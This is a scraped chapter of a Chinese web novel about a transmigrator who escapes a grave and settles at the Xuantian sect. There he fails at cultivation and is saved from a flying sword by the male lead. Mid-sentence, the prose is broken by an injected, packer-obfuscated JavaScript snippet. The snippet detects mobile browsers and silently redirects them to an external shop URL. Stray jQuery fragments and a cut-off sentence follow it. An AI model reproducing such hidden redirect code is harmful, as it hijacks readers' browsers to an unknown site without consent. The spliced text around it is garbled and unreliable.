文趣网 > 其他小说 > 纯爱破文里的绝望直男 > 3. 修炼不成?
    雪洞外,天光明。

    裴寒徵艰难克制住自己想要一口咬上去的欲望,憋着气隔绝那香甜的味道,颤抖着抱起这具为他几乎流干鲜血的身体,一步步走向玄天宗的方向。

    在宗门山脚一处背风向阳的坡地,他将少女轻轻放入掘好的土坑,凝视那张苍白的脸许久。

    “这条命是我欠你的,”他俯下身磕了三个头,“待我报仇雪恨,定来姑娘坟前赎罪。”

    泥土一捧捧落下,逐渐掩去少女的面容。裴寒徵在坟前静立良久,最终转身走向山门石阶。

    他没有回头。因此不曾看见在他身影消失后不久,那座新坟的泥土,微微松动了一下。

    不知过了多久,月光从泥地缝隙里挤进来,刺得宋玉成睁不开眼。

    “咳咳咳咳咳——!”

    宋玉成从土里挣扎出来来,大口大口地喘气。

    泥土从头发里、衣领里簌簌往下掉,胸腔里全是土腥味。他像一条离水的鱼,趴在土堆边干呕了好一阵,才把那口憋了不知多久的浊气吐干净。

    活了,终于真正的活了。

    他瘫在坡地上,盯着头顶的星空,慢慢想起自己是怎么被埋进去的,想起自己在黑暗的泥土里一次次死亡又一次次复活挣扎。

    “裴寒徵,你他妈的吸我的血还埋我!”

    凌晨的空气冷得刺肺,但宋玉成现在只觉得痛快。

    活着比什么都强。

    他撑着自己坐起来,扯掉身上沾满泥土的破布,冲着空无一人的山林骂了一句:“有机会老子坑不死你!”

    【系统(泪奔):你终于活过来了!宿主,没有你我可怎么活啊宿主555...】

    “嚎什么丧?”宋玉成张嘴就喷,“哥们刚在坟里被憋死好几次,也没见你给我挖出来。你给爷死装什么呢?”

    【系统(屏幕弹出巨大问号):你休眠了我不用休眠的吗?我开机不要时间是吗!嘿我发现你....#¥*@&&!!!老子电你!!】

    【咦?怎么晕了?我没开多大电啊!】

    电流声还没响完,宋玉成眼前一黑,彻底没了意识。

    再醒来时,眼前怼着一张憨厚的大脸。

    “兄弟,你醒了。”大脸汉子咧嘴笑了,露出两排白牙,“我还以为你真不行了呢,刚在地里把坑挖好...嘿嘿。”

    宋玉成艰难地坐起来,环视四周。

    头顶是破了个洞的茅草屋顶,脚下是夯得坑坑洼洼的泥地。修真文经典开局。

    “我叫王大锤,玄天宗外门弟子。”大脸汉子挠挠头,“你晕在我菜地边上,我看你还有气儿就把你背回来了。你呢?遇见什么难事了?”

    宋玉成脑子转得飞快。玄天宗?那不就是男主的宗门?

    “在下宋玉成。”他决定用真名,“跟随族叔一同上山问道,中途被雪原魔族追杀...族叔他们都...只有我...”

    说着,他眼眶泛红,声音哽咽。

    王大锤面露不忍,拍了拍他的肩膀:“斯者已逝。你先好好歇着,等伤好了再说。”

    宋玉成看着他那张真诚的脸,鼻子一酸,没忍住熊抱上去:“多谢锤哥救命之恩!我一定报答!”

    王大锤被他抱得一愣,随即嘿嘿笑了。

    当天晚上,他把存了好久的灵米都掏出来,连夜给宋玉成烧了一锅粥。

    宋玉成捧着碗,胃里暖洋洋的,眼眶又湿了:“锤哥,你真是这个世界上最好的人,比狗系统和死傲天好多了!”

    “你看你,男儿有泪不轻弹。”王大锤不知道怎么安慰人,只是把自己碗里本就少的灵米又扒给宋玉成一些,又补了一句,“狗嘛,畜生,没那么通人性,我们做人的多包容。”

    “不过你家狗的名字还挺别致,”他咧嘴摸了摸头,“细桶……”

    【系统(小黄豆打滚):诶,我说这个NPC找屎啊!宿主,他骂我你不帮我?我们俩才是一伙的!】

    “谁跟你我们。”宋玉成当系统是个屁,埋头苦吃。

    吃完饭,王大锤蹲在水桶边洗碗,嘴里哼着什么。调子很老,词也土,宋玉成只听清了一句“山上神仙骑着云儿游咧——”。

    他停下手里的动作,听了一会儿。不知道为什么,鼻子有点酸。

    “锤哥,唱的什么?”

    “家乡的调子。”王大锤憨笑,手上没停,“小时候我阿娘哄我睡觉就唱这个。后来上山学艺,我就自己唱给自己听。”

    宋玉成没接话。他想起了阿婆。

    一顿饭下来,他从王大锤嘴里套出了不少信息。玄天宗分内外门,外门弟子说白了就是打杂的,每天砍柴挑水扫地。而那个让他一屈再屈的男主裴寒徵,如今已是剑宗宗主的内门弟子,据说当初过了收徒大典还破例收入。

    【系统(得意小黄豆):不愧是我家傲天!】

    “你以为是谁把我们埋在地下的?”宋玉成在心里翻了个白眼,“现在你家傲天走上正轨了,那我干什么?”

    【系统(沉默):你先活着吧,等剧情再出问题的时候上就行。】

    “谢谢你啊,真有建设性。”

    【系统(扭捏):之前电你...是我太激动了。我花钱打点了主系统,给你谋了福利——你在这里赚的灵石,可以按比例换成RMB带回现实世界。低等灵石一块一千,中等五万,高等一百万。】

    “诶!统子,”宋玉成眼睛瞬间亮了,“之前喷你也是我太冲动了,我们什么关系?拍档耶!你说你电死我算个什么事儿啊?再说哥们又不会死,耐电!”

    【系统(目瞪口呆黄豆脸):宿主你突然这样,我害怕。】

    日子就这么不咸不淡地过了几天。

    王大锤心善好相处,宋玉成也渐渐安顿下来。傲天那边一直没出什么岔子,自然不需要他出手。

    “又漏了。”王大锤收起观气诀,皱眉看着宋玉成。

    宋玉成放下掐诀的手,不用问也知道结果。

    【系统:快六百次了吧。空灵根,吸入的灵气无法存在丹田,别坚持了。】

    宋玉成沉默了一瞬。

    他想起裴寒徵御剑时白衣翻飞的样子,想起自己第一次感受到灵气入体时的兴奋...虽然那兴奋只持续了几息。

    然后他起身拍了拍土:“那今天就不修了。我种菜牛逼,种菜去。”

    “大锤哥,我前些日子托陈师兄带了两只山下的王记烧鹅,算着日子该去拿灵菜寄卖的灵石了。”宋玉成拍拍王大锤的肩膀,“劳烦你帮我翻一下后山的地,我去去就回。”

    王大锤抿了抿嘴,转身拿起门后的锄头:“去吧。陈师兄精通丹药,一定能治好你这修炼漏气的毛病。”

    宋玉成走在山道上,一边走一边算自己的资产:四十二块低等灵石,十七块中等,两块高等。加上这次寄卖的收入,凑一凑能换一块高等灵石——也就是三百来万存款。

    小镇做题家哪见过这个?

    他美滋滋地咧嘴笑,差点被自己的脚绊倒。

    “咩哈哈哈——”

    几个路过的行人被

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17620980|206163||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    他吓了一跳,摇头叹气:“又修炼疯了一个。”

    宋玉成才不管别人怎么看,直奔山门。到得早了些,他站在广场边上,一边等陈自然一边继续算账,嘴角的弧度怎么都压不下去。

    “听说了吗?剑宗那位裴师兄,昨日又突破了!”

    “裴寒徵?不是年前才突破筑基四阶?那岂不是已经到筑基中期了?”

    “入门四年筑基中期,这是什么概念?!”

    “他莫不是用了什么邪门歪道吧?”

    【系统(得意小黄豆):不愧是我家傲天!宿主,你听听,多争气!】

    宋玉成瘪嘴,语气酸溜溜的:“懂不懂男主和路人甲的区别啊?人家是天道的宠儿,我们普通人能比吗?”

    话音刚落,一道剑光猛然擦着他的脸庞破风而来。

    青丝翻飞。

    左脸一阵刺痛,血珠渗出来,顺着下颌往下滴。

    【系统(愣神后尖叫):我去宿主你没事吧?!差给你点爆头了!到底哪个傻杯干的!!】

    宋玉成捂住脸,抬头看去。

    一柄飞剑悬在半空,剑身嗡鸣,像一条嗅到血腥的蛇。广场上的修士一哄而散,只剩他站在原地,冷汗顺着脊背往下淌。

    那剑缓缓调转方向,剑尖对准了他。

    “不——”

    他转身就跑。

    王大锤教的那套粗浅身法在脚下踩得飞快,左闪右避,可飞剑像长了眼睛一样,精准地封死他每一条退路。

    那一瞬间,雪洞里的窒息感、坟里的泥土味,全涌了上来。

    难道又要死了?

    他咬咬牙,转身往内门方向狂奔。内门有守山弟子,总不能见死不救吧?

    身后剑鸣越来越近,越来越尖锐。

    【系统(尖叫):啊啊啊啊,这个臭剑怎么只追你啊!!】

    宋玉成顾不上回嘴,拼了命地跑。可两条腿怎么跑得过飞剑?

    剑尖破风声已经贴上了后颈。

    他腿一软,差点跪下。

    就在这时,一道身影从内门方向掠出,快得像一道白虹。宋玉成的视线天旋地转。

    他撞上一具温热的胸膛,耳边是布料摩擦的窸窣声,和一声极轻的闷哼。

    飞剑在距离他鼻尖两寸的地方停住了。

    嗡鸣声还在,但剑身被两根手指稳稳夹住,纹丝不动。

    宋玉成抬头。

    对上逆光里一张半遮面具的脸,和一双清冷的眼睛。

    那人仅仅一眼就挪开了视线,单手夹住剑身,另一只手虚扶着宋玉成的背,嘴里快速念出口诀。

    顷刻间,罡风四起。

    宋玉成只觉得耳朵被风灌满,什么也听不见了。眼前是裴寒徵被风吹得猎猎作响的衣袍,和那柄在他指间嗡嗡震颤的飞剑。

    【系统(激动):是我家傲天出手救你了!】

    原来是男主来装逼了。

    宋玉成被这罡风吹得呼吸困难,只得把头埋在裴寒徵的臂弯里,才觉呼吸顺畅些。而他脸颊渗出的血珠也因强风被吹散成血雾。

    本来虚扶着宋玉成的手忽然收紧,宋玉成被这样狠狠一勒,不由地紧贴了上去。

    “?”宋玉成不解地再次抬头仰望,对上裴寒徵没被半面面具遮挡,略显震惊与不解的眉眼。

    【主系统(机械音):警告,检测到男主与男性亲密接触,病毒入侵剧情,目前感染度1%,病毒感染率达到100%本世界将彻底崩溃,请k2026号子系统与宿主尽快处理。】